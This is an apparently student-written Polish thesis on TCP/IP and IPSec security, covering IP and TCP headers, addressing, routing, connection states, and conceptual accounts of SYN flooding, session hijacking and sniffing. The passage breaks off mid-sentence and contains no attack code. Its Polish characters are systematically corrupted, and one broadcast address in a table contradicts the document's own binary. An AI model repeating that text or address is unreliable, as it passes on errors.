plik


ÿþPRACA IN{YNIERSKA BezpieczeDstwo protokoBów TCP/IP oraz IPSec Pawel Prokop 20.05.2005 1 1 Wstp Dynamicznie rozwijajca si technika komputerowa a w szczególno[ci oprogramowanie u|ytkowe doprowadziBy do wzrostu popularno[ci komputerów osobistych. Coraz cz[ciej konieczne jest posiadanie komputera w domu, tym bardziej je|eli jest on podBaczony do globalnej sieci Internet. Rozwój ten spowodowany jest równie| nieustannym d|eniem czBowieka do osignicia maksimum wygody a szeroki dostp do wiedzy niewtpliwie to gwarantuje. Internet poza dostpem do nieograniczonych zasobów informacji umo|liwia równie| prowadzenia korespondencji, korzystanie z wielu grup dyskusyjnych, robienie zakupów, a nawet przeprowadzanie transakcji bankowych. Wraz ze wzrostem popularno[ci internetu, wzrosBo znaczenie przesyBanej informacji. Ko- munikacja midzy firmami, jednostkami w organizacjach coraz cz[ciej odbywa si za po[rednictwem internetu. Konieczne zatem staBo si zapewnienie poufno[ci oraz auten- tyczno[ci, jednym sBowem bezpieczeDstwa przesyBanych tym medium danych. Mam na my[li zapobiegnicie ich podsBuchaniu, nieautoryzowanemu spreparowaniu, przejciu se- sji lub te| uniemo|liwieniu w ogóle komunikacji sieciowej (Atak DoS - Deny Of Service). Skutki takich ataków podczas komunikacji np. z bankiem, czy te| wewntrz firmy mog by parali|ujce na du| skal, w konsekwencji - wyjtkowo kosztowne. Du|e korporacje powierzaj zabezpieczenie swoich sieci wyspecjalizowanym firmom, które robi to zazwyczaj dobrze ze wzgldu na posiadanych wysokiej klasy specjali- stów dogBbnie znajcych temat bezpieczeDstwa sieci. Przecitny u|ytkownik komputera zazwyczaj nie zdaje sobie sprawy z zagro|eD na jakie jest nara|ony i zazwyczaj to on nie- [wiadomie tworzy furtki przez które przedostaje si intruz. Robi to na przykBad poprzez uruchamianie zaBczonych z poczt programów, które pochodz z niewiadomego zródBa, poprzez przesyBanie niekodowanych haseB (np. transmisja protokoBami ftp, telnet, pop3) co ma taki sam efekt jak przyklejenie kartki z hasBami do monitora.1 1  Tylko dwie rzeczy s nieskoDczone: wszech[wiat i ludzka gBupota, chocia| do tego pierwszego nie mam pewno[ci - Albert Einstein 2 2 Analiza zagadnienia W chwili obecnej najpopularniejszym protokoBem internetowym jest protokóB IP wraz z protokoBem TCP. W ostatnich kilku latach coraz bardziej popularnym staje si protokóB IPSec, który jest odporny2 na wiele rodzajów ataków oraz zapewnia wiarygodno[ prze- syBanej informacji. W niniejszej pracy przedstawi atak typu DoS na protokóB TCP/IP w sieci LAN (Lo- cal Area Network) w zale|no[ci od podanych parametrów wyBczajcy znajdujc si tam maszyn z komunikacji protokoBami TCP/IP. Poniewa| atakowany jest protokóB, rodzaj systemu operacyjnego nie ma znaczenia. Do zaprezentowania sBabo[ci protoko- Bów TCP/IP posBu| si programem  ltcc (Local Tcp Control Center), który napisaBem w jzyku c++. LTCC przetestowany zostaB na systemach linux linii 2.2 oraz 2.4. W koDcowej cz[ci pracy znajduja si wydruki z analizy ruchu sieciowego podczas urucho- mienia mojego programu si. Zaprezentuj te| zastosowanie protokoBu IPSec jako alternatyw, która nie jest podatna na u|ycie prezentowanego ataku. Informacje na temat pracy mo|na znalez w wymie- nionych poni|ej dokumentach: 2.1 RFC - Requests For Comments Jest to zestaw kilku tysicy dokumentów tekstowych[23], zawierajcych opisy protokoBów internetowych, propozycje standardów, historyczny rys rozwoju poszczególnych standar- dów internetowych. Dokumenty numerowane s kolejno poczwszy od numeru  0001 - pierwszego opublikowanego 7 kwietnia 1969 roku. Dokumenty RFC s podstawowym zródBem informacji technicznej dla programistów zajmujcych si programowaniem za- stosowaD sieciowych. Poni|ej wymienione zostan dokumenty w których zawarte s informacje na temat tej pracy. 2 oczywi[cie nie ma 100% skutecznego zabezpieczenia 3 rfc0760 - 0760 DoD standard Internet Protocol. J. Postel. Jan-01-1980. W dokumencie tym opisany jest standard protokoBu internetowego stworzonego przez Agencj ds. ZBo|onych Projektów Badawczych (ARPA ang. Advanced Rese- arch Projects Agency) Departament Obrony USA. Dokument przedstawia miejsce protokoBu IP w rodzinie protokoBów komunikacji pomidzy sieciami. rfc0761 - DoD standard Transmission Control Protocol. J. Postel. Jan-01-1980. W tym miejscu znajduje si opis protokoBu sterujcego transmisj. Dokument opisuje sposób kontroli poprawno[ci transmisji danych. rfc2401 - Security Architecture for the Internet Protocol. S. Kent, R. Atkinson. No- vember 1998. Dokument ten opisuje architektur protokoBu IPSec, bez specyfikacji konkretnych protokoBów takich jak AH (Authentication Header) czy ESP (Encapsulating Secu- rity Payload), które opisane s w kolejnych dokumentach RFC. rfc2402 - IP Authentication Header. S. Kent, R. Atkinson. November 1998. W dokumencie tym opisany jest protokóB sBu|cy do zapewnienia integralno[ci oraz wiarygodno[ci danych w bezpoBczeniowej transmisji. rfc2406 - IP Encapsulating Security Payload (ESP). S. Kent, R. Atkinson. Novem- ber 1998. Dokument ten opisuje protokóB zapewniajcy ochron danych zawartych w proto- koBach IP w wersji 4 i 6. 2.2 Publikacje papierowe  Programowanie zastosowaD sieciowych w systemie UNIX - W. Richard Ste- vens W ksi|ce tej autor prezentuje najpopularniejsze protokoBy sieciowe, w[ród nich in- 4 teresujce nas TCP/IP. Sposób komunikacji midzyprocesowej, architektura klient- serwer zaprezentowana jest razem z kodem zródBowym dla systemów UNIX.  Kryptologia, budowa i Bamanie zabezpieczeD - Reinhard Wobst W ksi|ce tej opisane s najpopularniejsze algorytmy kryptograficzne midzy in- nymi DES, który wykorzystywany jest te| do szyfrowania protokoBu ESP.  TCP/IP Administracja sieci - Craig Hunt Ksi|ka ta zawiera podstawowe informacje na temat protokoBów TCP/IP, opis konfigurowania sieci na stacjach UNIXowych oraz podstawowych usBug sieciowych.  Hacking. Sztuka penetracji - Jon Erickson W ksi|ce tej szeroko poruszone s zagadnienia bezpieczeDstwa systemów kompu- terowych. 2.3 Inne dokumenty internetowe Jest wiele stron internetowych po[wiconych zagadnieniom routingu, komunikacji sieciowej a przede wszystkim tematom najbardziej nas interesujcym czyli protokoBom TCP, IP oraz IPSec.  http://www.man.poznan.pl/-pawelw/dyplom/ISOModel.html - w tym miejscu przeczyta mo|na na temat budowy modelu ISO/OSI.  http://rainbow.mimuw.edu.pl/SO/Linux/index.html - znajduje si tu dokument na temat linuxa wersji 2.0. Jego ósmy rozdziaB dotyczy komunikacji sieciowej.  http://www.it.iitb.ac.in/-jaju/tutorials/net/tcpip/ - anglojzyczna strona na temat rodziny protokoBów TCP/IP. 5  http://lukasz.bromirski.net/docs/translations/lartc-pl.html - polskie tBumaczenie dokumentu po[wiconego routingowi IP oraz ostatnio modnym zagadnieniom podziaBu pasma.  http://www.ia.pw.edu.pl/-tkruk/students/kmadej/mydocs/vpn - wirtualne sieci prywatne w systemie operacyjnym Linux.  http://echelon.pl/pubs/cbi ipsec.html - polskojzyczna strona na której opisana zostaBa budowa protokoBu IPSec.  http://lartc.org/howto/lartc.ipsec.html - anglojzyczny dokument po[wicony konfiguracji kluczy IPSec a.  http://www.freeswan.org - strona domowa projektu FreeS/WAN (wersja angielska dokumentacji). 6 3 Model ISO/OSI Model OSI3 zostaB przyjty przez organizacj ISO4 jako standard opisujcy warstwy sieci. Model skBada si z siedmiu warstw, z których ka|da wykonuje okre[lone funkcje.[19] Rysunek 1: protokoBy internetowe w modelu ISO/OSI warstwa aplikacji (application layer) - dostarcza procesom aplikacyjnym metod do- stpu do [rodowiska OSI. PeBni rol okna midzy wspóBdziaBajcymi procesami aplikacyjnymi. warstwa prezentacji (presentation layer) - zapewnia mo|liwo[ reprezentowania in- formacji, któr si posBuguj stacje aplikacyjne podczas komunikacji. Zapewnia tBumaczenie danych, definiowanie ich formatu oraz odpowiedni skBadnie. 3 Open Systems Interconnection - PoBczenia Sytemów Otwartych 4 International Organization for Standarization - Midzynarodowa Organizacja Normalizacyjna 7 warstwa sesji (session layer) - umo|liwia aplikacjom prowadzenie dialogu i wymian danych pomidzy nimi. Do najwa|niejszych funkcji warstwy sesji nale|y sterowanie wymian danych ustalenie punktów synchronizacji danych (dla celów retransmisji w przypadku przemijajcych przekBamaD na Bczach) oraz umo|liwienie odzyskania danych utraconych podczas przerwy w Bczno[ci i ich ponowne wysBanie. warstwa transportowa (transport layer) - zapewnia przezroczysty transfer danych midzy stacjami sesyjnymi. Odci|a je od zajmowania si problemami niezawod- nego i efektywnego pod wzgldem kosztów transferu danych. Wszystkie protokoBy w warstwie transportowej s typu end-to-end. Oznacza to, |e dziaBaj one tylko midzy koDcowymi systemami otwartymi. warstwa sieciowa (network layer) - warstwa sieciowa odpowiedzialna za organizacj poBczeD, adresacj jednostek oraz za funkcje routingu, który wyznacza optymaln drog pakietu przez sie, ze wzgldu na obci|enie sieci. W warstwie tej znajduj si protokoBy IP, ICMP, ARP, RARP warstwa Bcza danych (data link layer) - zapewnia niezawodne Bcze pomidzy s- siednimi wzBami. Nadzoruje przepByw informacji przez Bcze i w zwizku z po- datno[ci warstwy fizycznej na zakBócenia i wynikajce std bBdy oferuje wBasne mechanizmy kontroli bBdów w ramkach lub pakietach (CRC - Cyclic Redundancy Check). warstwa fizyczna (physical layer) - jest odpowiedzialna za transmisj strumienia bi- tów midzy wzBami sieci. Definiuje protokoBy opisujce interfejsy fizyczne. Do funkcji tej warstwy nale|: sprzgnicie z medium transmisji danych, dekodowanie sygnaBów, okre[lanie zakresu amplitudy prdu lub napicia i okre[lanie parametrów mechanicznych Bczówek (ksztaBtu, wymiaru oraz liczby styków) oraz inne kwestie zwizane z transmisj bitów. 8 4 Opis i idea dziaBania protokoBu IP ProtokóB internetowy nale|y do trzeciej warstwy ISO/OSI, zawiera informacje na temat adresów internetowych oraz kilka informacji kontrolnych umo|liwiajcych przesyBanie pakietów. Wraz z protokoBem TCP, IP prezentuje serce protokoBów internetowych. IP [5] jest odpowiedzialny za nastpujce rzeczy: organizowanie bezpoBczeniowej transmi- sji danych najlepsz tras oraz podziaBem danych na mniejsze cz[i (MTU - Maximum Transmission Unit) i ponownym ich skBadaniem. Istniej dwie wersje protokoBu IP: IPv4 i IPv6[17], która staje si coraz bardziej popu- larna i ma za zadanie wyprze wersje 4. Ró|nica pomidzy tymi wersjami polega na adresowaniu stacji. W wersji 4 przeznaczono 32 bity na adres stacji, w nowszej - wersji 6 przewidziano 128 bitów. W niniejszej pracy skupi si jedynie na wersji 4. 4.1 Budowa nagBówka IP. Rysunek 2: Struktura nagBówka IP Version zawiera numer wersji protokoBu IP, który jest aktualnie u|ywany. IHL (IP Header Length) zawiera rozmiar nagBówka IP w 32-bitowych sBowach. Type Of Service zawiera abstrakcyjne warto[ci majce na celu podnie[ jako[ obsBugi pakietu. 9 Total Length caBkowita dBugo[ pakietu wBcznie z nagBówkiem i danymi (w bajtach). Pole to zajmuje 16 bitów zatem maksymalna warto[ to 65535, ale pakiety takich rozmiarów praktycznie nie s przesyBane przez sie. Identification (Identyfication) pole to jest ustawiane przez nadawce. Umo|liwia iden- tyfikacj pakietu podczas scalania. Flags 3 bity kontrolne zawierajce informacje na temat fragmentacji danych. Fragment Offset 13 bitów z informacj, w którym miejscu w oryginalnym pakiecie powinien by umieszczony dany fragment. Jednostk tutaj jest 8 bajtów. Time To Live pole to okre[la maksymalny czas  |ycia pakietu w sieci. Podczas prze- syBania informacji pole to zmniejsza si o 1 przez ka|d stacj. DziaBanie to ma wyeliminowa pakiety niemo|liwe do dostarczenia. Protocol pole to okre[la, który protokóB wy|szego poziomu zostaB u|yty w przetwarza- niu danych pakietu. Header Checksum 16 bitów zawierajcych sum kontroln nagBówka IP. Source Address jest to internetowy adres nadawcy pakietu. Destination Address jest to internetowy adres odbiorcy pakietu. Options pole to zazwyczaj nie jest u|ywane. Mo|e jednak zawiera informacje na temat trasy jak przebyB pakiet lub ograniczenia dotyczce bezpieczeDstwa (RFC 1108). 4.2 Adresowanie w IP. Adres stacji w protokole IP zajmuje 32 bity i jednoznacznie okre[la do jakiej sieci nale|y dana jednostka oraz jej numer. Adres reprezentowany jest przez cztery liczby dziesitne oddzielone kropkami. Wyró|niamy 5 klas adresów sieci, które okre[lane s przez bity adresu.[4] 10 4.2.1 Klasy adresów IP Rysunek 3: Klasy sieci IP. Klasa A w klasie tej znajduje si 27-1 (127) sieci5, w ka|dej sieci znajduje si 16777215 adresów. Klasa B w klasie B znajduje si 214 (16384) sieci, w ka|dej znajduje si 216 - 1 (65535) adresów. Klasa C w klasie C znajduje si 221 (2097152) sieci, w ka|dej znajduje si 255 adresów. Klasa D adres klasy D ma specjalne znaczenie - jest u|ywany w sytuacji gdy ma miejsce jednoczesna transmisja od wikszej liczby urzdzeD. 4.2.2 Maska, broadcast W pewnym momencie rozwoju Internetu okazaBo si, |e ten sposób przydzielania adre- sów sieci jest bardzo nieekonomiczny. Zasoby klas adresów zaczeBy si bardzo szybko 5 poniewa| adres 0.0.0.0 jest zarezerwowany do specjalnego zastosowania, oznacza on wszystkie kom- putery w sieci, w tablicy routingu mo|na go odczyta jako  default 11 kurczy. Wprowadzono system zwany: bezklasowym rutowaniem midzydomenowym CIDR (Classless Inter-Domain Routing). Maska sieci skBada si podobnie jak adres IP z 4 bajtów, u|ywana jest do wydzielenia cz- [ci adresu odpowiadajcej za identyfikacj sieci i cze[ci odpowiadajcej za identyfikacj komputera z adresu IP. Tablica 1: PrzykBad zastosowania adresowania CIDR zapis  kropkowy zapis binarny Adres IP 149.156.208.141 10010101.10011100.11010000.10001101 Maska 255.255.255.224 11111111.11111111.11111111.11100000 Adres sieci 149.156.208.128 10010101.10011100.11010000.10000000 Broadcast 255.255.255.159 10010101.10011100.11010000.10011111 Adres sieci tworzy si przepisujc niezmienione bity adresu IP, dla których odpo- wiednie bity maski s ustawione6 (logiczne AND). Reszta bitów przyjmuje warto[  0 Adres broadcast jest to adres rozgBoszeniowy sieci. U|ywa si go do jednoczesnego zaadresowania wszystkich komputerów w danej sieci. Tworzony jest analogicznie do adresu sieci z tym, |e ostatnie bity wypeBniane s warto[ciami  1 . Adres 149.156.208.141 z mask 255.255.255.224 mo|na w skrócie zapisa w postaci: 149.156.208.141/27, poniewa| 27 kolejnych bitów w masce jest ustawionych. Istniej dwa rodzaje adresów, routowalne i nieroutowalne, te drugie zarezerwowane s dla tworzenia sieci wewntrznych, lokalnych. Adres taki nie powinien pojawi si w globalnej sieci internet bez wcze[niejszej translacji na adres routowalny. PrzykBadowymi sieciami wewntrznymi s: 10.0.0.0, 172.16.0.0, 192.168.0.0. odpowiednio dla ka|dej z wy|ej wymienionych klas. Ponadto istnieje specjalny adres zarezerwowany do komunikacji protokoBem IP z lokalnym komputerem. Jest to tak zwany loopback: 127.0.0.1. 6 maj warto[  1 12 {adnemu urzdzeniu w sieci nie mo|na przypisa adresu 0.0.0.0 (poniewa| oznacza on wszystkie adresy w internecie), nie mo|na równie| przypisa adresu bdcego zarazem adresem broadcast lub bdcego adresem sieci. 4.3 Routowanie pakietów IP Gdy host musi przesBa pakiet za pomoc protokoBu IP, podejmuje decyzj o sposobie przekazania pakietu do warstwy ni|szej[20]. Na podstawie adresu przeznaczenia pakietu stwierdza, czy komputer docelowy nale|y do tej samej sieci. Je|eli tak, to wysyBa pakiet do sieci lokalnej. Znalezieniem adresu Ethernetowego (protokoB ARP) i dostarczeniem pakietu do odpowiedniej stacji (protokóB IEEE 802.3) zajmuj si ju| protokoBy warstwy ni|szej (warstwy dostpu do sieci). Je|eli adres IP przeznaczenia nie nale|y do tej samej sieci, komputer zródBowy przesyBa pakiet na adres lokalnej bramki. Bramka (gateway) - jest to urzdzenie zapewniajce Bczno[ pomidzy sieciami lokal- nymi. Urzdzenie to jest podBczone do przynajmniej dwóch ró|nych sieci i otrzymujc pakiety z jednej z nich podejmuje decyzj, do której sieci je przesBa. Tablica rutingu - W obu przypadkach (komputer lokalny, router) decyzja o losie data- gramu IP podejmowana jest na podstawie tablicy rutowania. Tablica ta jest tworzona przez administaratora systemu lub przez protokoBy rutujce (RIP). Adres ka|dego wy- syBanego datagramu zostaje porównany z wpisami destination i genmask, a nastpnie na podstawie pozostaBych wpisów zostaje podjta decyzja co do dalszego losu datagramu IP. PrzykBadowo, je[li mamy wysBa dane do komputera o adresie IP 149.156.211.67, adres ten znajduje si w sieci 149.156.211.64 o masce 255.255.255.192. Wpis ten dotyczy w tym przypadku sieci lokalnej, komputer docelowy jest w tej samej sieci. Nastpnie wyszukiwane jest pole Iface (interface), które mówi z jakiego interfejsu sieciowego nale|y skorzysta, aby wysBa te dane. Je|eli pole gateway ma warto[ 0.0.0.0, to datagram 13 Tablica 2: Tablica routingu przykBadowego routera Destination Gateway Genmask Flags Metric Ref Use Iface 149.156.211.160 149.156.211.10 255.255.255.224 UG 0 0 0 eth1 149.156.208.192 0.0.0.0 255.255.255.224 U 0 0 0 eth0 149.156.211.0 0.0.0.0 255.255.255.192 U 0 0 0 eth1 149.156.211.64 0.0.0.0 255.255.255.192 U 0 0 0 eth2 192.168.0.0 0.0.0.0 255.255.255.128 U 0 0 0 eth3 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 0.0.0.0 149.156.208.193 0.0.0.0 UG 1 0 0 eth0 jest bez |adnych zmian wysyBany przez podan kart sieciow. Jednak, gdy pole to ma wpisan jak[ warto[, w ramce Ethernetowej adres przeznaczenia zamieniany jest na adres MAC bramki (routera). W momencie, gdy otrzyma on pakiet Ethernetowy z innym ni| jego wBasny adresem IP, to w analogiczny do omówionego sposób przesyBa datagram dalej. Podczas wysyBania danych do komputera o adresie IP 149.156.211.170, adres ten znajduje si w sieci 149.156.211.160 o masce 255.255.255.224. Pakiet ten zostanie skierowany do maszyny o adresie IP 149.156.211.10, poniewa| ona jest bramk do sieci w której znajduje si komputer docelowy. Wpis postaci 0.0.0.0 oznacza wszystkie adresy IP. Znajduje si on najcz[ciej na koDcu tablicy routingu, a je|eli poszukiwany adres nie pasowaB do |adnej z wcze[niejszych sieci, to zostaje wysBany do domy[lnej (default) bramki zapewniajcej dostp do sieci Internet dla danego komputera. W polu flagi wpisy oznaczaj: U - dana trasa istnieje i do tej chwili nie byBo z ni |adnych kBopotów. 14 G - dany wpis dotyczy bramki. H - wpis dotyczy pojedynczego komputera., D - wpis zostaB zmieniony przez protokóB kontrolny ICMP. 15 5 Budowa i zasada dziaBania protokoBu TCP ProtokóB TCP [6] jest zorientowany poBczeniowo (connection-oriented), czyli wymaga potwierdzenia odbioru ka|dej ramki. Ma to istotne znaczenie, je[li Bcza s sBabej jako[ci, poniewa| w przypadku bBdów zBe ramki s retransmitowane. Warstwa transportowa zapewnia dostarczenie danych midzy dwoma punktami, w tej warstwie nastpuje analiza danych oraz sprawdzenie, czy nie ma potrzeby retransmitowa danych ponownie. TCP zapewnia przekazanie danych do odpowiedniego procesu pracujcego w warstwie aplikacji w takiej samej postaci w jakiej zostaBy one wysBane. PoBczenia procesów warstwy aplikacji protokóB TCP identyfikuje za pomoc numeru portu - 16 bitowej liczby caBkowitej. Proces chccy transportowa dane mo|e to robi poprzez specjalny interfejs - zwany gniazdem. {eby nastpiBa komunikacja, dwa procesy - nadajcy i odbierajcy dane musz otworzy gniazda. Zestawienie adresu zródBo- wego i numeru portu oraz adresu docelowego wraz z numerem portu nazywa si asocjacj. 5.1 Struktura nagBówka TCP Rysunek 4: Struktura nagBówka TCP source port - jest to port zródBowy z którego wysyBane s dane. Numer portu jest 16 liczb caBkowit z przedziaBu 1 - 65535. destination port - jest to docelowy port dla którego przeznaczone s dane. sequence number - numer sekwencyjny bajtu w strumieniu przesylanych danych, iden- tyfikujcy pierwszy bajt danych w danym segmencie TCP. Modul TCP numeruje ka|dy bajt numerem sekwencyjnym, numer ten to 32 bitowa liczba bez znaku, cyklicznie zaokrglana do 0 po osiagnieciu 232 - 1. acknowledgement number - zawiera nastpny numer sekwencyjny bajtu, oczekiwa- nego przez nadawc. Warto[ ACK równa si numerowi sekwencyjnemu ostatniego poprawnie otrzymanego bajtu plus 1. Pole to wa|ne jest tylko gdy ustawiony jest bit ACK. Poniewa| dane w poBczeniu TCP mog byc przesyBane w dwie strony, ka|da ze stron poBczenia musi utrzymywa numery sekwencyjne dla danych prze- syBanych w ka|dym z kierunków. Data offset - dBugo[ nagBówka TCP liczona w 32 bitowych sBowach. Zale|nie od opcji, dBugo[ nagBówka TCP mo|e by ró|na. reserved - 6 bitów zarezerwowanych na przyszBo[, musz mie warto[ 0. flags - 6 bitów kontrolnych: URG ustawienie tego bitu powoduje, |e pole urg ptr jest wa|ne. ACK ustawienie tego bitu powoduje, |e pole ack seq jest wa|ne. PSH ustawienie tego bitu powoduje, |e dane powinny by niezwBocznie przekazane do aplikacji. RST ustawienie tego bitu powoduje zerwanie poBczenia. SYN ustawienie tego bitu oznacza synchronizacj numerów sekwencyjnych pod- czas inicjowania poBczenia. FIN ustawienie tego bitu oznacza zakoDczenie przesyBania danych przez nadawc. 17 5.2 Realizacja poBczenia TCP Aby zagwarantowa, |e dane przesyBane z jednej maszyny do drugiej nie s ani tracone, ani duplikowane u|ywa si podstawowej metody znanej jako pozytywne potwierdzanie z retransmisj. Metoda ta wymaga, aby odbiorca komunikowaB si z nadawc, wysyBajc mu w momencie otrzymania danych komunikat potwierdzenia (ACK). Nadawca zapisuje sobie informacj o ka|dym wysBanym pakiecie i przed wysBaniem nastpnego czeka na potwierdzenie. Oprócz tego nadawca uruchamia zegar w momencie wysyBania pakietu i wysyBa ten pakiet ponownie, gdy minie odpowiedni czas, a potwierdzenie nie nadejdzie. 5.2.1 Opis stanów gniazd Podczas realizacji poBczenia wyró|nia si nastpujce stany poszczególnych gniazd:[6] LISTEN reprezentuje stan oczekiwania na jakiekolwiek poBczenie TCP. SYN-SENT reprezentuje stan oczekiwania na pasujce poBczenie zaraz po wysBaniu |dania. SYN-RECEIVED reprezentuje stan oczekiwania na potwierdzenie ACK po wysBaniu obu: SYN-SENT i SYN-RECEIVED ESTABLISHED reprezentuje otwarte poBczenie, otrzymane dane mog s dostar- czane do warstwy wy|szej. Jest to normalny stan przesyBania danych. FIN-WAIT-1 reprezentuje stan oczekiwania na |danie zakoDczenia poBczenia od zdalnego protokoBu lub na potwierdzenie |dania zakoDczenia poBczenia wysBa- nego wcze[niej. FIN-WAIT-2 reprezentuje stan oczekiwania na |danie zakoDczenia poBczenia od zdalnego protokoBu. 18 CLOSE-WAIT reprezentuje stan oczekiwania na |danie zakoDczenia poBczenia od lokalnego u|ytkownika/procesu. CLOSING reprezentuje stan oczekiwania na potwierdzenie |dania zakoDczenia poB- czenia od zdalnego protokoBu. LAST-ACK reprezentuje stan oczekiwania na potwierdzenie |dania zakoDczenia po- Bczenia wysBanego wcze[niej do zdalnego protokoBu. TIME-WAIT reprezentuje stan oczekiwania wystarczajco dBugiego okresu czasu po- trzebnego na upewnienie si, |e zdalny protokóB otrzymaB potwierdzenie |dania przerwania poBczenia. CLOSED reprezentuje stan braku jakiegokolwiek poBczenia. Ka|dy pakiet przesBany przy u|yciu protokoBu TCP ma wBasny numer sekwencyjny. Ka|dy odebrany pakiet zostaje potwierdzony poprzez wysBanie numeru ACK. 5.2.2 Nawizywanie poBczenia Ustanawianie poBczenia TCP przebiega wedBug poni|szego scenariusza:  serwer wykonuje tzw. otwarcie bierne (passive open) poBczenia, wywolujc funkcje interfejsu gniazdowego socket(), bind(), listen(). Tworzy tak zwan póBasocjacj.  klient wykonuje tzw. otwarcie aktywne (active open), wywoBujc funkcj interfejsu gniazdowego connect() - powoduje to wysBanie segmentu SYN (synchronizacji) za- wierajcego pocztkowy numer kolejnych danych, które klient zamierza wysyBa przez to poBczenie oraz ewentualne opcje TCP.  serwer potwierdza przyjcie segmentu SYN klienta i wysyBa wBasny segment SYN zawierajcy pocztkowy numer danych, które serwer bdzie wysyBaB przez to poB- 19 czenie wraz z segmentem ACK (potwierdzenia), zawierajcym pocztkowy numer kolejnych danych klienta zinkrementowany o 1.  klient sygnalizuje przyjcie odpowiedzi serwera segmentem ACK, zawierajcym pocztkowy numer kolejnych danych serwera zinkrementowany o 1. 5.2.3 PrzesyBanie danych Jest to zasadnicza cz[ transmisji, mogca przebiega wedBug wielu scenariuszy. Najcz[ciej obejmuje ona nastpujc wymian segmentów:  klient wysyBa |danie do serwera.  serwer wysyBa potwierdzenie przyjcia |dania w postaci segmentu ACK, który mo|e by wysBany razem z odpowiedzi.  klient potwierdza otrzymanie odpowiedzi segmentem ACK, warto[ ACK równa si warto[ci SEQ plus ilo[ danych odebranych. Je[li w jakim[ momencie którakolwiek ze stron komunikacji nie otrzyma potwierdze- nia ACK (a czas na odpowiedz zostanie przekroczony) wówczas nastpuje ponowienie transmisji niepotwierdzonego pakietu. 5.2.4 KoDczenie poBczenia Schemat zamykania poBczenia TCP obejmuje zwykle wymian czterech segmentów i wyglda nastpujco:  jeden z procesów - klient lub serwer - wykonuje tzw. zamknicie aktywne (active close), wywoBujc funkcj close(), co powoduje wysBanie segmentu FIN (zakoDcze- nia). Segment ten mo|e by wysBany razem z danymi. 20  drugi z procesów potwierdza przyjcie segmentu FIN wBasnym segmentem ACK, inkrementujc numer segmentu FIN o 1 (segmenty FIN s numerowane podobnie jak segmenty SYN), wykonujc tzw. zamknicie bierne (passive close).  w tym momencie tym poBczeniem mog jeszcze przepBywa dane od stacji wyko- nujcej zamknicie bierne do stacji wykonujcej zamknicie aktywne, jest to tzw. póBzamknicie (half-close).  stacja wykonujca zamknicie bierne wykonujc funkcj close(), wysyBa numero- wany segment FIN do stacji wykonujcej zamknicie aktywne.  stacja wykonujca zamknicie aktywne potwierdza przyjcie segmentu FIN, wy- syBajc stacji wykonujcej zamknicie bierne segment ACK z numerem segmentu FIN zinkrementowany o 1. ZaBczony przykBad ma na celu ilustracje przykBadowej transmisji protokoBem TCP. Maszyna  A - klient Bczy si7 z maszyn  B serwerem w celu przesBania danych. Gniazdo serwera, przez które bdzie przebiegaBa komunikacja, jest w stanie LISTEN8 - serwer nasBuchuje nadchodzcych poBczeD. Po otrzymaniu |dania poBczenia ser- wer odpowiada, potwierdzajc przyjcie poBczenia9. Transmisja zostaje ustabilizowana, dane przesBane10. Po odebraniu danych od maszyny klienta11 nastpuje zamknicie poB- czenia. Zamknicie poBczenia nastpuje w trybie normalnym12, serwer w dalszym cigu nasBuchuje w oczekiwaniu na kolejne poBczenia. Którakolwiek ze stron mo|e zamkn poBczenie w trybie natychmiastowym - np. w przypadku awarii procesu, lub jego za- koDczenia, bez wcze[niejszego wywoBania funkcji close(). W takim przypadku protokóB 7 wykorzystujc funkcj systemow connect() 8 zostaBo otwarte funkcj systemow listen() 9 proces uruchomiony na serwerze wywoBuje funkcj systemow accept() 10 klient przesyBa dane u|ywajc np. funkcji systemowej send() 11 serwer mo|e odbiera dane wywoBujc funkcj systemow recv() 12 w momencie gdy proces klienta przesBaB wszystkie dane - wywoBuje on funkcj systemow close() 21 Rysunek 5: PrzykBadowa sesja TCP zamyka poBczenie wysyBajc pakiet z ustawion flag RST, która oznacza natychmia- stowe, bezwarunkowe zakoDczenie poBczenia. 22 6 Wady i zalety stosowania protokoBów TCP/IP 6.1 Wady Rodzina protokoBów TCP/IP nie pozbawiona jest wad, gBównie ze wzgldu na bezpie- czeDstwo. Tym bardziej, gdy dane przesyBane s po sieci ethernetowej w której nie u|ywa si przeBczników, co nara|a je na podsBuchanie, podrobienie. NajsBynniejszym atakiem byB atak Kevina Mitnicka na sie Tsutomu Shimomury - eksperta d/s bezpieczeDstwa w Centrum Komputerowym San Diego. Mitnick zaatakowaB komputer w sieci wysyBa- jc ogromn liczb pakietów z ustawion flag SYN (|danie poBczenia), co zamroziBo maszyn na jaki[ czas. W tym samym czasie udaBo mu si przechwyci sesj (session hijacking), podszywajc si pod zaatakowany komputer, który zmro|ony obsBugiwaniem |daD rozpoczcia poBczeD nie byB w stanie odpowiada na pakiety przechwytywanej przez Mitnicka sesji. Session hijacking opiera si na kilku technikach, które opisz poni|ej. 6.1.1 ograniczona przestrzeD adresowa IP Du| wad jest ograniczono[ adresowania w protokole IP. Podczas projektowania proto- koBu IP przeszBo 20 lat temu nikt nie przypuszczaB, |e popularno[ internetu wzro[nie na tak skal. Pod koniec lat 80 internet przestaB by tylko sieci naukow, zostaB udostp- niony spoBeczeDstwu, skomercjalizowany. Rozwój taki spowodowaB, |e liczba 4294967296 dostpnych adresów w protokole wersji 4 staBa si powa|nym ograniczeniem. 6.1.2 niskie bezpieczeDstwo Protokoly TCP/IP nieodporne s na stosowanie ni|ej wymienionych ataków[3]: Sniffing jest to dziaBanie majce na celu przechwytanie danych transmitowanych w sieci. Jest to dziaBanie pasywne i co za tym idzie bardzo trudne w wykryciu. Polega to na wprowadzeniu karty sieciowej w specjalny tryb zwany PROMISC (promiscous 23 mode), po którym karta sieciowa przekazuje wszystkie otrzymane pakiety do war- stwy wy|szej. W normalnym trybie przekazywane s pakiety które s przeznaczone wyBcznie dla tej karty. Identyfikacja adresata odbywa si za pomoc unikalnego adresu MAC karty sieciowej13 który jest zapisany w ramce ethernetu w dostarcza- nym pakiecie. PoBczeniem adresu MAC z adresem IP zajmuje si protokóB ARP (Adress Resoludion Protocol). WyBapany w ten sposób pakiet mo|e by zinterpretowany przez proces warstwy wy|szej. Atakujcy mo|e zdoby np. hasBa do systemu, korespondencje mailow lub inne wa|ne informacje. Ze wzgldu na przechwycenie sesji niezbdne bd informacje zawarte w nagBówku TCP - mianowicie numery ACK oraz SEQ, jak równie| adresy: zródBowy i docelowy pakietu. Sniffowanie jest praktycznie niewykrywalne - dopóki nie dochodzi do interakcji sniffujcej maszyny z sieci. Tak interakcj jednak mo|na sprowokowa i poten- cjalnie wykaza, |e na danej maszynie zainstalowany jest program nasBuchujcy14. Do wykrycia sniffera dziaBajcego w sieci 